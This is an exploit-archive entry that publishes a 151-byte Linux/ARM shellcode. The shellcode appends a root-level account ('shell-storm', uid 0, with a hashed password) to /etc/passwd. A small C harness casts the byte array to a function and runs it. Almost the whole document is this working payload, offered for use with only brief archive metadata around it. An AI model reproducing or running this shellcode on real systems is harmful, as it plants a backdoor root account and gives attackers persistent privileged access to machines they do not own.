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Linux/ARM Add Root User Shellcode

Linux/ARM Add Root User Shellcode
Posted Nov 29, 2010
Authored by Jonathan Salwan

151 bytes small Linux/ARM add root user with password shellcode.

tags | root, shellcode
systems | linux
SHA-256 | a38fa7ee86bfb26c74a2b910895893e7c577f127befaa4eca299f339c86515f9

Linux/ARM Add Root User Shellcode

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/*
** Title: Linux/ARM - add root user with password - 151 bytes
** Date: 2010-11-25
** Tested on: ARM926EJ-S rev 5 (v5l)
** Author: Jonathan Salwan - twitter: @shell_storm
**
** http://shell-storm.org
**
** Informations:
** -------------
** - user: shell-storm
** - pswd: toor
** - uid : 0
*/

#include <stdio.h>


char SC[] =
/* Thumb mode */
"\x05\x50\x45\xe0" /* sub r5, r5, r5 */
"\x01\x50\x8f\xe2" /* add r5, pc, #1 */
"\x15\xff\x2f\xe1" /* bx r5 */

/* open("/etc/passwd", O_WRONLY|O_CREAT|O_APPEND, 0644) = fd */
"\x78\x46" /* mov r0, pc */
"\x7C\x30" /* adds r0, #124 */
"\xff\x21" /* movs r1, #255 */
"\xff\x31" /* adds r1, #255 */
"\xff\x31" /* adds r1, #255 */
"\xff\x31" /* adds r1, #255 */
"\x45\x31" /* adds r1, #69 */
"\xdc\x22" /* movs r2, #220 */
"\xc8\x32" /* adds r2, #200 */
"\x05\x27" /* movs r7, #5 */
"\x01\xdf" /* svc 1 */

/* r8 = fd */
"\x80\x46" /* mov r8, r0 */

/* write(fd, "shell-storm:$1$KQYl/yru$PMt02zUTW"..., 72) */
"\x41\x46" /* mov r1, r8 */
"\x08\x1c" /* adds r0, r1, #0 */
"\x79\x46" /* mov r1, pc */
"\x18\x31" /* adds r1, #24 */
"\xc0\x46" /* nop (mov r8, r8) */
"\x48\x22" /* movs r2, #72 */
"\x04\x27" /* movs r7, #4 */
"\x01\xdf" /* svc 1 */

/* close(fd) */
"\x41\x46" /* mov r1, r8 */
"\x08\x1c" /* adds r0, r1, #0 */
"\x06\x27" /* movs r7, #6 */
"\x01\xdf" /* svc 1 */

/* exit(0) */
"\x1a\x49" /* subs r1, r1, r1 */
"\x08\x1c" /* adds r0, r1, #0 */
"\x01\x27" /* movs r7, #1 */
"\x01\xdf" /* svc 1 */

/* shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n */
"\x73\x68\x65\x6c\x6c\x2d\x73\x74\x6f\x72"
"\x6d\x3a\x24\x31\x24\x4b\x51\x59\x6c\x2f"
"\x79\x72\x75\x24\x50\x4d\x74\x30\x32\x7a"
"\x55\x54\x57\x6d\x4d\x76\x50\x57\x63\x55"
"\x34\x6f\x51\x4c\x73\x2f\x3a\x30\x3a\x30"
"\x3a\x72\x6f\x6f\x74\x3a\x2f\x72\x6f\x6f"
"\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73"
"\x68\x0a"

/* /etc/passwd */
"\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";


int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
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